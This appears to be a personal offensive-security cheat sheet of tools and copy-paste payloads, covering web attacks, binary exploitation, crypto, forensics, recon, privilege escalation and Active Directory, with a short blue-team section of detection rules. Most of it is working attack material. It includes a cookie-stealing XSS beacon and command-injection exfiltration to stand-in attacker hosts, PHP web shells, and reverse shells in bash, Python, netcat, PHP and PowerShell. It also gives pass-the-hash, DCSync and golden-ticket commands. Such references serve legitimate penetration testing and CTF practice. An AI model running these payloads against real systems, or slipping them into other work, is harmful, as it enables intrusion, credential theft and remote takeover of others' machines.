Tools & Cheatsheets
My personal security reference. Tools I reach for and quick-recall content for the techniques I use most. Living document, edited as my workflow shifts. Use the TOC on the right to jump around.
Web Security
Tools
- Burp Suite Community: proxy + repeater + intruder. Free tier covers most of what I do
- ffuf: fast content discovery / wordlist fuzzing
- feroxbuster: recursive content discovery, alt to ffuf
- sqlmap: automated SQLi
- wappalyzer + whatweb + httpx: tech fingerprinting + HTTP probing
- gobuster: fallback content discovery
- ParamSpider + Arjun: parameter discovery
- dalfox: XSS scanner
- jwt_tool: JWT analysis and attacks
Content Discovery
ffuf -w wordlist.txt -u https://target.com/FUZZ -mc 200,301,302,403feroxbuster -u https://target.com -w wordlist.txt -x php,html,txtgobuster dir -u https://target.com -w wordlist.txt -x php,html,txtSQL Injection
Detection:
' -- error?" -- error?\ -- error?' AND 1=1 -- -- true' AND 1=2 -- -- falseAuth bypass:
' OR '1'='1' --admin' --admin' #' OR 1=1 LIMIT 1 --UNION-based (find column count first):
' ORDER BY 1 --' ORDER BY 2 --' UNION SELECT NULL,NULL --' UNION SELECT 1,version() --' UNION SELECT 1,table_name FROM information_schema.tables --Blind boolean:
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a' --Time-based:
' AND SLEEP(5) -- -- MySQL'; WAITFOR DELAY '0:0:5' -- -- MSSQL' || pg_sleep(5) -- -- PostgreSQLNoSQL (MongoDB):
// JSON body{"user": {"$ne": null}, "pass": {"$ne": null}}{"user": "admin", "pass": {"$regex": "^a"}}XSS
Common payloads:
<script>alert(1)</script><img src=x onerror=alert(1)><svg/onload=alert(1)><body onload=alert(1)><iframe src=javascript:alert(1)>javascript:alert(1)Filter bypass:
<ScRiPt>alert(1)</ScRiPt><script>alert`1`</script><svg><script>alert(1)</script></svg><img src=x onerror="alert(1)"><a href=javascript:alert(1)>x</a>Cookie steal (testing):
<script>new Image().src='https://attacker/?c='+document.cookie</script>SSRF
Cloud metadata probes:
http://169.254.169.254/latest/meta-data/ # AWShttp://169.254.169.254/latest/meta-data/iam/security-credentials/http://metadata.google.internal/ # GCPhttp://169.254.169.254/metadata/v1/ # DigitalOceanhttp://169.254.169.254/metadata/instance?api-version=2017-08-01 # AzureBypass tricks:
http://127.0.0.1http://localhosthttp://[::1]http://0.0.0.0http://2130706433/ # decimal of 127.0.0.1http://0x7f.0x0.0x0.0x1/ # hexhttp://internal.target.com.attacker.com/ # DNS rebindingFile Upload
Extension bypass:
shell.php.jpgshell.pHpshell.php5 / .phtml / .pharshell.php%00.jpgshell.jpg (with PHP in EXIF + .htaccess override)Content-Type spoofing: swap header to image/jpeg while body is PHP.
LFI / RFI
?file=../../../../etc/passwd?file=....//....//....//etc/passwd?file=/etc/passwd%00?file=php://filter/convert.base64-encode/resource=index?file=data://text/plain,<?php system($_GET['c']); ?>?file=expect://idLog poisoning (Apache access.log via User-Agent):
User-Agent: <?php system($_GET['c']); ?>Then: ?file=/var/log/apache2/access.log&c=idCommand Injection
; id| id& id&& id`id`$(id)$IFS$1id # space-less{id,} # brace expansionBlind exfil:
; curl attacker.com/$(whoami); ping -c 1 $(whoami).attacker.comJWT
none algorithm attack:
Header: {"alg":"none","typ":"JWT"}Payload: {"user":"admin"}Signature: (empty)HS256 / RS256 confusion: sign with the public key as HMAC secret.
Tool:
jwt_tool TOKEN -T # tamper interactivelyjwt_tool TOKEN -X a # alg=nonejwt_tool TOKEN -C -d wl.txt # crack secret with wordlistXXE
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
<!-- Blind / OOB --><!DOCTYPE foo [<!ENTITY % ext SYSTEM "http://attacker/evil.dtd"> %ext;]>Pwn & RE
Tools
- pwntools: Python exploitation framework
- Ghidra: NSA’s free RE suite for static analysis
- GDB + pwndbg / gef: dynamic debugging with security extensions
- radare2 / Cutter: alternate RE flow
- ROPgadget + ropper: gadget hunting
- one_gadget: libc one-shot gadgets
- angr: symbolic execution
- objdump / readelf / nm / file / strings: classic Unix tools
Binary inspection
file binarychecksec --file=binary # NX, PIE, RELRO, Canary, Fortifystrings -n 8 binaryreadelf -a binaryobjdump -d binary | lessnm binary | grep -i flagpwntools template
from pwn import *
context.binary = exe = ELF('./chal')context.log_level = 'debug'libc = ELF('./libc.so.6')
def conn(): if args.REMOTE: return remote('host', 1337) if args.GDB: return gdb.debug(exe.path, gdbscript='b *main+0x42\ncontinue') return process(exe.path)
p = conn()p.recvuntil(b'> ')payload = flat({ 72: [exe.sym.win, 0xdeadbeef]})p.sendline(payload)p.interactive()ROP basics
# Build chainrop = ROP(exe)rop.raw(b'A' * 72)rop.call('puts', [exe.got['puts']])rop.call('main')
# Calculate libc base from leaked putsleak = u64(p.recvline().strip().ljust(8, b'\x00'))libc.address = leak - libc.sym.putslog.info(f'libc base: {hex(libc.address)}')Format string
# Leak: %p, %x, %s, %N$pfmt = b'%7$p.%8$p.%9$p'
# Arbitrary write: %hn / %hhn at target addressfrom pwn import fmtstr_payloadpayload = fmtstr_payload(offset, {exe.got['exit']: exe.sym.win})Common protections + bypass
| Protection | Bypass |
|---|---|
| NX (no exec stack) | ROP / ret2libc |
| ASLR | leak libc/stack address first |
| PIE | leak binary base from GOT/PLT |
| Stack Canary | leak the canary (format string, partial overwrite) |
| RELRO Full | can’t overwrite GOT, target other writable funcs |
| Fortify | bypass via lower-level writes |
GDB / pwndbg shortcuts
checksec view protectionsvmmap memory layoutgot GOT entriesplt PLT entriessearch "str" find string in memorycontext full debug viewheap heap chunksbins tcache/fastbin/unsorted stateb *main+0x42 break at offsetx/100gx $rsp dump 100 qwords from stackCrypto
Tools
- CyberChef: swiss army knife for encoding / decoding / hashing
- Python + pycryptodome: real implementations
- z3-solver: constraint solver
- SageMath: lattices, ECC, finite fields, polynomial rings
- hashcat + john: hash cracking
- RsaCtfTool: automates common RSA attacks
Hash identification by length (hex)
32 chars MD5 / NTLM / MD440 chars SHA-156 chars SHA-22464 chars SHA-25696 chars SHA-384128 chars SHA-512Hash cracking
# Identifyhashid hash.txthash-identifier
# Crack with hashcat (mode examples)hashcat -m 0 hash.txt rockyou.txt # MD5hashcat -m 100 hash.txt rockyou.txt # SHA-1hashcat -m 1400 hash.txt rockyou.txt # SHA-256hashcat -m 1800 hash.txt rockyou.txt # bcrypthashcat -m 16500 jwt.txt rockyou.txt # JWT HS256
# johnjohn --wordlist=rockyou.txt hash.txtjohn --format=raw-sha256 hash.txtClassical ciphers (Python solvers)
Caesar / ROT-N brute:
ct = "uryyb"for k in range(26): pt = ''.join(chr((ord(c)-97-k)%26+97) if c.isalpha() else c for c in ct.lower()) print(k, pt)Vigenere (with known key):
def vig_dec(ct, key): out = '' for i, c in enumerate(ct): if c.isalpha(): shift = ord(key[i % len(key)].lower()) - 97 out += chr((ord(c.lower()) - 97 - shift) % 26 + 97) else: out += c return outRSA attacks
Small e (e=3) and small message:
from gmpy2 import irootm, _ = iroot(c, e)Common modulus (same N, different e1/e2, gcd(e1,e2)=1):
from sympy import gcdexg, s, t = gcdex(e1, e2)m = (pow(c1, s, N) * pow(c2, t, N)) % NWiener (small d): use owiener Python lib.
Fermat (close p,q): try from sympy.ntheory import isqrt and iterate.
AES gotchas
- ECB: identical plaintext blocks produce identical ciphertext. Visible in image encryption.
- CBC bit-flipping: flipping bit in ciphertext block N flips same bit in plaintext block N+1.
- Padding oracle: server leaks “bad padding” lets you decrypt CBC byte-by-byte.
Modular arithmetic quick wins
pow(a, -1, n) # modular inverse (Python 3.8+)pow(base, exp, mod) # fast modular exponentiationfrom math import gcdfrom sympy import isprime, nextprime, factorintForensics & Stego
Tools
- Volatility3 (
volalias): memory forensics - Autopsy + Sleuthkit: disk forensics GUI + CLI
- binwalk: embedded file extraction
- steghide + zsteg + stegsolve: image / audio steg
- exiftool: metadata
- Wireshark + tshark: pcap analysis
- foremost + scalpel: file carving
- bulk_extractor: artifact extraction at scale
Volatility3 plugins (Windows)
vol -f mem.raw windows.infovol -f mem.raw windows.pslistvol -f mem.raw windows.pstreevol -f mem.raw windows.netscanvol -f mem.raw windows.netstatvol -f mem.raw windows.cmdlinevol -f mem.raw windows.filescanvol -f mem.raw windows.dumpfiles --virtaddr 0xXXXXvol -f mem.raw windows.malfindvol -f mem.raw windows.hashdumpvol -f mem.raw windows.registry.hivelistVolatility3 (Linux)
vol -f mem.raw linux.bashvol -f mem.raw linux.pslistvol -f mem.raw linux.psauxvol -f mem.raw linux.lsofvol -f mem.raw linux.lsmodStego workflow
file image.pngexiftool image.pngstrings -n 8 image.png | tailbinwalk image.pngbinwalk -e image.png # extract embedded fileszsteg image.png # LSB on PNGzsteg -a image.pngsteghide extract -sf image.jpg -p "" # try empty passwordstegseek image.jpg rockyou.txt # brute steghide passwordFile carving
foremost -i disk.dd -o output/scalpel -c scalpel.conf disk.ddbinwalk -e firmware.binNetwork forensics (Wireshark filters)
http.request.method == "POST"ip.addr == 10.0.0.1 && tcp.port == 4444tcp.stream eq 5http contains "password"dns.qry.name contains "evil"ssl.handshake.extensions_server_name == "target.com"frame contains "flag{"tshark -r capture.pcap -Y 'http.request' -T fields -e http.request.uritshark -r capture.pcap -z conv,tcptshark -r capture.pcap --export-objects http,output_dir/Recon / OSINT
Tools
- amass + subfinder: subdomain enumeration
- crt.sh (web): certificate transparency
- RECOG.py: my own pipeline (projects)
- theHarvester: email + domain OSINT
- Sherlock + WhatsMyName: username enumeration
- Maltego CE: visual link analysis (free tier)
- nuclei: templated vulnerability scanning
- shodan (CLI): exposed asset search
- GitHub dorks / trufflehog: secret discovery in code
Subdomain enum
subfinder -d target.com -silentamass enum -passive -d target.comassetfinder --subs-only target.comcurl -s "https://crt.sh/?q=%25.target.com&output=json" \ | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -ufindomain -t target.comchaos -d target.com # ProjectDiscovery's chaos DBLive host filtering
cat subs.txt | httpx -silent -status-code -title -tech-detectcat subs.txt | httpx -silent -mc 200,403 | tee live.txtPort scanning
nmap -sV -sC -p- --min-rate 1000 target.com -oA scannmap --script=vuln target.commasscan -p1-65535 --rate=10000 10.0.0.0/24 -oG masscan.gnmapnaabu -host target.com -p - # full rangerustscan -a target.com -- -sV -sC # fast then nmapWeb tech fingerprinting
whatweb https://target.comwappalyzer-cli https://target.comhttpx -u target.com -tech-detectGoogle dorks
site:target.com -wwwsite:target.com inurl:adminsite:target.com filetype:pdfsite:target.com intext:"password"site:github.com "target.com" "api_key"Username enumeration
sherlock 0xkakashimaigret 0xkakashi --htmlMetadata
exiftool file.pdfexiftool -all= file.pdf # strip metadata (sanitize before sharing!)DNS / WHOIS
dig +short target.comdig +short MX target.comdig +short TXT target.comdig +short AXFR target.com @ns1.target.com # zone transfer attemptwhois target.comdnsenum target.comReverse Shells
bash / sh
bash -i >& /dev/tcp/ATTACKER/4444 0>&10<&196;exec 196<>/dev/tcp/ATTACKER/4444; sh <&196 >&196 2>&196sh -i 5<> /dev/tcp/ATTACKER/4444 0<&5 1>&5 2>&5Python
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("ATTACKER",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'Netcat
nc -e /bin/bash ATTACKER 4444 # if -e is availablemkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc ATTACKER 4444 > /tmp/f # without -ePHP
<?php exec("bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'"); ?><?php system($_GET['c']); ?>PowerShell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"Listener (your side)
nc -lvnp 4444rlwrap nc -lvnp 4444 # with line editingpwncat-cs -lp 4444 # better experience, auto-upgrade ptyStabilize the shell
python3 -c 'import pty; pty.spawn("/bin/bash")'# Then Ctrl+Z, on host:stty raw -echo; fg# Inside shell:export TERM=xtermstty rows 38 columns 116Privilege Escalation
Linux enumeration
# Auto enumlinpeas.shlse.sh -l 2linux-exploit-suggester.sh
# Manual quick winsidsudo -lfind / -perm -4000 -type f 2>/dev/null # SUID binariesfind / -perm -2000 -type f 2>/dev/null # SGIDgetcap -r / 2>/dev/null # capabilitiescrontab -l && cat /etc/crontab && ls -la /etc/cron.*cat /etc/passwd | grep -v false | grep -v nologinls -la /home /root /optmountps auxfnetstat -tulpnLinux escalation paths
- sudo misconfig: check
sudo -l, look up the binary on GTFOBins - SUID/SGID: same, find on GTFOBins
- Writable cron / systemd timer: edit a script that runs as root
- PATH hijack: when a root script calls a binary without absolute path
- Kernel exploit: last resort, check
uname -aagainst linux-exploit-suggester - Capabilities:
cap_setuidon a binary lets you become root with the right call - NFS no_root_squash: mount remote share, drop SUID binary
- Docker / lxd / disk group: privesc-by-design if user is in these groups
Windows enumeration
# Auto enumwinpeas.exePowerUp.ps1; Invoke-AllChecksSeatbelt.exe -group=all
# Manual quick winswhoami /allsysteminfonet user / net localgroupnetstat -anoschtasks /query /fo LIST /vwmic service get name,pathname,startname | findstr /v "Windows"Windows escalation paths
- Unquoted service path: service points to
C:\Program Files\Foo\bar.exewithout quotes - Service binary writable: replace the service .exe
- AlwaysInstallElevated: registry flag lets MSI install as SYSTEM
- Stored credentials:
cmdkey /list, scheduled task XMLs, group policy preferences - Token impersonation: SeImpersonate / SeAssignPrimaryToken with
JuicyPotato,PrintSpoofer,RoguePotato - DLL hijack: drop malicious DLL in a path searched before the legit one
- Kernel exploits: check patch level vs known CVEs
Active Directory
Recon
# From Linux attack boxnxc smb DC.lab.local -u user -p pass --sharesnxc smb DC.lab.local -u user -p pass --rid-bruteldapsearch -x -H ldap://DC.lab.local -b "dc=lab,dc=local"enum4linux -a DC.lab.localKerberoasting
# Request service tickets for accounts with SPNs, crack offlineGetUserSPNs.py lab.local/user:pass -dc-ip 10.0.0.1 -requesthashcat -m 13100 hashes.txt rockyou.txtAS-REP roasting
# Accounts with Kerberos preauth disabled, no creds neededGetNPUsers.py lab.local/ -no-pass -usersfile users.txt -dc-ip 10.0.0.1hashcat -m 18200 hashes.txt rockyou.txtPass-the-hash / Pass-the-ticket
nxc smb 10.0.0.0/24 -u admin -H NTLM_HASH # PtH spraypsexec.py lab.local/admin@DC -hashes :NTLM_HASH # PtH execexport KRB5CCNAME=ticket.ccache && klist # PtTBloodHound essentials
# Collectbloodhound-python -u user -p pass -d lab.local -ns 10.0.0.1 -c All# Or SharpHound.exe from Windows host
# Common queries (Cypher in BH GUI)MATCH (u:User {enabled:true}) WHERE u.dontreqpreauth=true RETURN u # AS-REP roastableMATCH (u:User) WHERE u.hasspn=true RETURN u # KerberoastableMATCH p=shortestPath((u:User)-[*1..]->(g:Group {name:"DOMAIN ADMINS@LAB.LOCAL"})) RETURN pDCSync
# Requires Replicating Directory Changes privilegesecretsdump.py lab.local/admin:pass@DC -just-dc-user krbtgtsecretsdump.py -no-pass -k -dc-ip 10.0.0.1 lab.local/admin@DCGolden / Silver tickets
# Golden: requires krbtgt hashticketer.py -nthash KRBTGT_NT -domain-sid S-1-5-21-... -domain lab.local Administratorexport KRB5CCNAME=Administrator.ccachepsexec.py -k -no-pass lab.local/Administrator@DCBlue Team / SOC
Tools
- Splunk: log analysis
- Wireshark: packet analysis
- Suricata + Snort: IDS rule writing
- YARA: malware pattern matching
- Velociraptor: endpoint hunting / DFIR
- MISP: threat intel sharing
- Sigma: vendor-neutral detection rules
- TheHive + Cortex: SOC case management + observable analysis
- CyberChef: log decoding and IoC extraction
Splunk SPL essentials
# Auth fails by userindex=auth action=failure| stats count by user| where count > 10
# Beaconing detection (constant interval)index=network| stats count, dc(_time) AS distinct_times, range(_time) AS span by src, dest| eval beacon_score = span / count| where count > 50 AND beacon_score < 60
# Process spawn anomaliesindex=endpoint sourcetype=Sysmon EventCode=1| rare ParentImage, Image
# Geographically impossible loginsindex=auth| iplocation src_ip| streamstats current=f window=1 last(City) AS prev_city last(_time) AS prev_time by user| where City != prev_city AND (_time - prev_time) < 3600Sigma rule template
title: Suspicious PowerShell Encoded Commandid: 1234-abcdstatus: experimentaldescription: Detects PowerShell with encoded command flaglogsource: product: windows service: sysmondetection: selection: EventID: 1 Image|endswith: '\powershell.exe' CommandLine|contains: '-EncodedCommand' condition: selectionfalsepositives: - Legitimate admin scriptslevel: mediumYARA templates
String-based:
rule suspicious_powershell { meta: author = "0xkakashi" description = "PowerShell with common malicious patterns" strings: $a = "Invoke-Expression" nocase $b = "DownloadString" nocase $c = "FromBase64String" nocase $d = "Bypass" nocase condition: 2 of them}Byte-based (PE detection):
rule pe_file { strings: $mz = { 4D 5A } // MZ header $pe = { 50 45 00 00 } // PE\0\0 condition: $mz at 0 and $pe}Suricata rule template
alert http any any -> any any (msg:"Possible web shell upload"; flow:established,to_server; http.method; content:"POST"; http.uri; content:".php"; nocase; http.request_body; content:"<?php"; classtype:web-application-attack; sid:1000001; rev:1;)Windows Event IDs to know
| ID | Description |
|---|---|
| 4624 | Successful logon |
| 4625 | Failed logon |
| 4634 | Logoff |
| 4648 | Logon with explicit credentials |
| 4672 | Special privileges assigned |
| 4688 | Process creation |
| 4720 | Account created |
| 4724 | Password reset |
| 4768 | TGT requested (Kerberos) |
| 4769 | Service ticket requested |
| 4776 | NTLM auth |
| 5140 | Network share accessed |
| 7045 | Service installed |
MITRE ATT&CK quick categories
- TA0001 Initial Access (phishing, valid accounts)
- TA0002 Execution (PowerShell, scripts)
- TA0003 Persistence (scheduled tasks, registry run keys)
- TA0004 Privilege Escalation
- TA0005 Defense Evasion (obfuscation, signed binary proxy)
- TA0006 Credential Access (LSASS dump, kerberoasting)
- TA0007 Discovery
- TA0008 Lateral Movement (PsExec, RDP, SMB)
- TA0009 Collection
- TA0010 Exfiltration
- TA0011 Command and Control (DNS tunneling, beaconing)
My Setup
Kakashi-themed Kali Linux 2025.4 with full toolkit. Custom ZSH prompt, fastfetch with Kakashi braille art, themed btop / bat / lsd. Aliases I actually use:
cat -> batcatls -> lsdtop -> btopvol -> volatility3fetch -> fastfetchFull setup details in /now and on the About page.
References
When I need to look something up beyond what’s here, I check these first. All free, well-maintained, far deeper than this page:
- HackTricks by Carlos Polop, the everything reference for offensive security
- PayloadsAllTheThings by swisskyrepo, payload database for every web vuln class
- OWASP Cheat Sheet Series, defensive guidance, well-vetted
- GTFOBins, Linux binaries useful for privesc / restricted shells
- LOLBAS, Windows living-off-the-land binaries
- Pwntools docs, syntax reference
- Crypto++ wiki, cryptography algorithm references
- explainshell.com, decode obscure bash one-liners
- CyberChef, encoding / decoding workbench
- MITRE ATT&CK, adversary tactics, techniques, and procedures
- SANS Cheat Sheets, free PDFs for forensics, IR, threat hunting
- InfoSec Notes, community-maintained CTF refs
The above are the canonical sources. The content on this page is my own distilled notes for what I actually reach for from memory. For depth, follow the links.